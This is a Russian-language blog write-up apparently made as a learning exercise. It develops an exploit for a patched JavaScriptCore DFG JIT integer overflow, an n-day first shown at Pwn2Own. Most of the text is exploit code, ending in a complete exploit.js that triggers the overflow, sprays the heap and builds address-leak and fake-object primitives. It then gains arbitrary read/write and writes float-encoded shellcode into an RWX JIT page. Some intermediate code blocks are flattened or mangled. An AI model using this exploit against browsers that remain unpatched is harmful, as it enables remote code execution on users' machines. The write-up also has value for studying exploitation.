
Эксплуатация исправленной уязвимости в JavaScriptCore
Это эксплойт для уязвимости WebKit, первоначально обнаруженной Fluoroacetate во время соревнования pwn2own в Ванкувере. Хотя я не обнаруживал эту ошибку, я написал этот эксплойт, чтобы развить свои навыки разработки эксплойтов. Оригинальное описание этого эксплойта находится здесь на сайте Zero Day Initiative. Хотя это описание очень хорошее и помогло мне понять уязвимость, оно написано с точки зрения человека, проверяющего уязвимость. Я обнаружил, что при попытке создать этот эксплойт с нуля отсутствуют некоторые ключевые детали, и я надеюсь восполнить некоторые пробелы, которые упустило описание ZDI, а также получить практические навыки по разработке сложного эксплойта с нуля.
Эти этапы служат планом для достижения произвольного выполнения кода в JavaScriptCore (JSC), движке JavaScript для WebKit
Уязвимость, которая будет эксплуатироваться, — это целочисленное переполнение, возникающее в коде, генерируемом JIT-компилятором DFG для WebKit. Это происходит конкретно в функции compileNewArrayWithSpread. Эта функция вызывается, когда код, использующий синтаксис распространения JavaScript для создания нового массива, JIT-компилируется DFG.

Внутри JIT-компилированного кода сначала вычисляется размер массива. Это делается путём сложения длины каждого аргумента, переданного конструктору массива. При вычислении размера для каждого сложения проверяется наличие переполнения. После этого вызывается функция compileAllocateNewArray с длиной, вычисленной в этой функции.

Затем функция compileAllocateNewArray передаёт вычисленную ранее длину в emitAllocateButterfly.

Функция emitAllocateButterfly затем сдвигает размер влево на 3 бита, что эквивалентно умножению на 8. Однако проверки на переполнение нет, и таким образом число, например, 0x20000001 может переполниться до 0x8.
Эта программа на C иллюстрирует данную уязвимость:


Мы можем использовать эту уязвимость, чтобы обмануть движок JavaScript, заставив его думать, что мы выделили массив размером 0x20000001, хотя на самом деле выделили достаточно места только для 1 JSValue (8 байт). Это приведёт к получению примитива вне границ (OOB) для чтения и записи (R/W), который затем можно использовать для достижения произвольного чтения/записи и в конечном итоге удалённого выполнения кода (RCE).
Определить уязвимость
Чтобы подтвердить наличие чтения за пределами границ, мы попытаемся вызвать эту уязвимость в сборке JSC с санитайзером адресов (ASAN).
Для этого из каталога WebKit можно выполнить следующие команды:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
Это создаст отладочную сборку JSC с включенным ASAN, что позволит нам проверить, удалось ли успешно вызвать уязвимость. Вот первая версия exploit.js```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
При запуске я получаю следующую ошибку:
Program terminated with signal SIGKILL, Killed. The program no longer exists.
Моё предположение было, что при попытке выделить такой большой массив потребляется слишком много памяти. Чтобы подтвердить это, я добавил точку останова в JIT-код, вызвав m_jit.breakpoint() внутри compileNewArrayWithSpread, что добавляет инструкцию int3 в JIT-код.
После добавления точки останова я обнаружил, что она не срабатывает, и тогда решил протестировать длину 0x20001. Затем я понял, что код даже не компилируется, поэтому я добавил больше итераций для активации компилятора DFG.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
Тестирование программы как есть всё равно приводит к SIGKILL, однако при тестировании с меньшей длиной точка останова срабатывает. На данный момент мне всё ещё кажется, что у JSC заканчивается память при попытке обработать этот огромный массив.
Чтобы справиться с этим, я решил выделить меньший массив `a`, а затем использовать синтаксис spread, чтобы применить его несколько раз при создании повреждённого массива, что привело к следующему exploit.js```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
С помощью этого кода мы смогли достичь точки останова без SIGKILL! Как это часто бывает, исправление одной проблемы выявляет другую, и вместо этого мы получили SIGABORT... Используя команду gdb bt, мы видим, что была вызвана operationNewArrayWithSize, которая вызвала create.
Кажется странным, что наш JIT-код вызывает operationNewArrayWithSize, и, вероятно, JIT-коду пришлось по какой-то причине перейти на медленный путь к движку JavaScript.

В compileAllocateNewArrayWithSize мы видим, что действительно есть выход в operationNewArrayWithSize. Затем нужно выяснить, почему именно мы выходим на медленный случай.
В compileNewArrayWithSpread мы видим, что shouldConvertLargeSizeToArrayStorage установлен в false, и этот медленный путь не будет включён в скомпилированный код.
Следовательно, логично, что медленный путь срабатывает где-то внутри emitAllocateJSObject

emitAllocateJSObject вызывает emitAllocateJSCell, который, в свою очередь, вызывает emitAllocate.


Без знаний о том, как работает аллокатор WebKit, это выглядит довольно запутанно. Поэтому я решил добавить несколько точек останова и пройтись по ним в gdb.
После срабатывания точки останова, установленной в emitAllocateVariableSized, которая была вызвана emitAllocateButterfly, мы видим следующий ассемблерный код:
Который соответствует коду, сгенерированному JIT-компилятором здесь:
Мы видим, что размер выделения добавляется к 0xf, затем сдвигается вправо на 4. Затем он сравнивается с 0x1f6, что соответствует ветке медленного пути. После этого он перемещает аллокатор подпространства в rsi и индексирует этот указатель на основе выполненных вычислений. Затем мы продолжаем к точке останова, установленной в emitAllocateWithNonNullAllocator, и находим следующий ассемблерный код:

Который соответствует коду, сгенерированному JIT-компилятором здесь:
Теперь, когда мы прошли часть ассемблера, у нас есть немного больше контекста о происходящем. Пройдя ещё две инструкции, мы видим, что выполним прыжок:

Глядя на код C++, можно предположить, что это означает, что в свободном списке этого аллокатора не осталось места, поэтому будет выполнен переход по pop-пути.

Выполнив прыжок и исполнив следующие две инструкции, мы видим, что прыжок выполняется непосредственно, что соответствует переходу на медленный путь. Мы идём по медленному пути, потому что секрет аллокатора XOR'ится со скремблированной головой аллокатора, и результат равен нулю. Без дополнительных знаний об аллокаторе WebKit сложно точно понять, что происходит.
Хотя я бы с удовольствием потратил больше времени на изучение аллокатора WebKit, я решил, что проще будет попробовать несколько идей и посмотреть, приведут ли они к другим результатам, и отталкиваться от этого.
Одна из идей заключалась в том, чтобы выделить массив размером 0x10, так как он будет в том же шаге выделения, что и наш массив, который вызовет уязвимость, а затем вызвать jitMe с массивом размера 1. Поскольку мы знаем адрес аллокатора, мы можем установить точку наблюдения на значения, которые ведут к ветвлениям, и посмотреть, когда они изменятся. Я придумал эту идею, потому что подумал, что выделение объекта в том же шаге может привести аллокатор в другое, более интересное состояние. Это приводит к следующей итерации exploit.js```javascript
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){ a[i] = 1.1 }
let x = new Array(0x10) let b = [1.1]
jitMe(b)
jitMe(a)
Тестирование этой идеи сработало!
Мы видим, что при тестировании `jitMe` на маленьком массиве мы не идем по медленному пути! Затем мы устанавливаем точку наблюдения на r8 + 0x18, чтобы увидеть, когда это значение станет нулевым. После срабатывания точки наблюдения мы получаем следующий backtrace:

Судя по именам функций в back trace, похоже, выполняется сборка мусора, которая устанавливает значения `secret` и `scrambledHead` в 0.
Судя по стеку вызовов, мы знаем, что вызов `tryCreate` в `createFromArray` запускает сборку мусора.

Внутри `createFromArray` также будет выполняться цикл по элементам и доступ к каждому, и если мы сможем перехватить вызов для получения и переинициализации аллокатора, мы сможем предотвратить переход по медленному пути.
exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
let dummy = [1.1]
for(let i = 0; i < 80; i++){
jitMe(dummy, dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
let b = [];
b.length = 1;
b.__defineGetter__(0, () => {
let x = new Array(0x10)
})
jitMe(a, b)
Gives us an ASAN error!
Теперь, когда мы можем надежно запускать уязвимость, мы хотим использовать наш примитив OOB R/W для дальнейшего повреждения памяти и получения примитива путаницы типов. Первый шаг — перекомпилировать JSC с отключенным ASAN. После этого мы снова запускаем exploit.js и получаем следующий краш

Мы видим, что мы повреждаем это так, что оно указывает на 0x3ff299999999999a. Когда мы используем модуль struct из Python для преобразования значения с плавающей точкой 1.1 в байты, мы получаем именно то, что ожидали: 0x3ff299999999999a 
Теперь, когда мы видим, что добились повреждения памяти, нам нужно выполнить некоторый массаж кучи, чтобы превратить это в путаницу типов. Идея состоит в том, чтобы распылить (spray) несколько массивов ArrayWithDoubles и ArrayWithContiguous и повредить длину butterfly, чтобы мы могли получить доступ за пределами границ с помощью этих массивов и получить путаницу типов. Надеемся, что выделение достаточного количества массивов предотвратит повреждение важных значений при выходе за границы.```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)
После того, как мы заспреим эти массивы, они будут перезаписаны данными из `badArray`. Однако это предотвратит seg fault после записи за границы массива. Чтобы получить подверженный повреждению массив, мы можем выделить ещё три массива: ArrayWithDouble, затем ArrayWithContiguous, затем ArrayWithDouble. Как только мы повредим массив, мы сможем записать объект в ArrayWithContiguous и прочитать его из ArrayWithDouble, чтобы создать путаницу типов и прочитать адрес. Кроме того, мы можем записать адрес во второй ArrayWithDouble и прочитать его из ArrayWithContiguous, чтобы получить фальшивый объект по указанному адресу.
Реализуя это, мы получаем:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
Теперь, когда у нас есть фиктивный объект и примитив утечки адреса, наша следующая цель — добиться примитивов произвольного чтения/записи. Общая стратегия будет заключаться в создании фиктивного объекта и указании бабочки на бабочку ArrayWithDouble, а затем записи в эту бабочку адреса, который мы хотим прочитать или записать. Этот метод используется в оригинальном эксплойте и упоминается saelo в этой статье.
Однако, прежде чем я смог это сделать, я столкнулся с неожиданной ошибкой. Я обнаружил, что после добавления определённого количества кода в эксплойт срабатывание уязвимости переставало работать, и я попадал на медленный путь, вызывающий исключение out of memory.
Чтобы исправить это, я выяснил, что могу обрабатывать код, который нужно выполнить, как строку и вызывать JavaScript-функцию eval. По какой-то причине это позволило обойти данную проблему.
Для настройки фиктивного объекта нам нужно, чтобы он имел корректный идентификатор структуры. Для этого мы распыляем множество идентификаторов структур и задаём нашему идентификатору предсказуемое значение.
Чтобы перезаписать бабочку ArrayWithDouble, нам нужно иметь возможность индексировать целевую бабочку. Для этого мы продолжаем выделять массивы, пока адрес не станет больше адреса среднего элемента массива распылённых идентификаторов структур. Затем мы устанавливаем бабочку нашего фиктивного объекта равной этому среднему элементу и индексируемся в бабочку фиктивного объекта, чтобы задать целевую бабочку.```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();
//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)
function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }
function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;
function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }
function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }
print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }
// make sure target is ArrayWithDouble target[1] = 1.1
print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }
print("[+] Got R/W primitive") `
eval(postTrigger)
- [x] Повреждение массива butterfly для получения примитивов чтения и записи
### Достижение произвольного выполнения кода в процессе рендеринга
Теперь, когда у нас есть примитив чтения и записи, всё, что нам нужно — перезаписать JIT-страницу собственным шеллкодом. Мы перезаписываем JIT-страницу, так как это, вероятно, единственная область памяти, которая будет отображена как RWX в процессе. Хотя мы могли бы вместо этого выполнить ROP-цепочку и переключение стека для отображения области памяти как RWX и выполнения шеллкода, этот способ оказывается гораздо проще.
Чтобы перезаписать JIT-страницу, нам сначала понадобится JIT-компилированная функция. Я выбрал функцию `jitMe`, которую мы использовали для запуска уязвимости. Затем с помощью gdb я проследовал за указателями в этом объекте, пока не дошёл до памяти, содержащей JIT-код. Следует отметить, что эти смещения указателей очень специфичны для данной версии WebKit и, вероятно, могут измениться в будущем. На них не следует полагаться при написании эксплойта, предназначенного для работы с несколькими версиями WebKit.
После того как мы нашли указатель на JIT-страницу, нам нужно написать шеллкод для вызова калькулятора. Этот шеллкод можно увидеть здесь:

Затем нам нужно ассемблировать шеллкод, извлечь байты и преобразовать их в числа с плавающей точкой, которые можно записать с помощью нашего примитива чтения/записи.
В итоге получаем файл exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){
let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
struct['addNewStructureId'+x] = 0x1337
sprayedStructureIDs[x] = struct;
}
print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){
target = []
targetAddr = leakAddr(target)
}
target[1] = 1.1
print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) {
hax[targetButterflyIndex] = i2f(address)
}
print("[+] Got R/W primitive")
var myJitAddr = leakAddr(jitMe)
setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])
print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229
print("[+] Executing Shellcode...")
jitMe([13.37],[13.37])
`
eval(postTrigger)
Наконец, видео работы эксплойта!
Надеюсь, это показывает, как можно взять JSC n-day и разработать для него эксплойт. Мне помогло наличие отчёта Zeroday Initiative. Хотя я использовал его при написании эксплойта, я старался брать только основные идеи и реализовывать самостоятельно, не заглядывая в отчёт.
Данный эксплойт является лишь доказательством концепции и не так надёжен, как мог бы быть. Хотя я не сталкивался с неудачными попытками, всегда есть возможность его улучшить. Поскольку это был для меня учебный опыт, я не заморачивался над тем, чтобы сделать эксплойт максимально надёжным.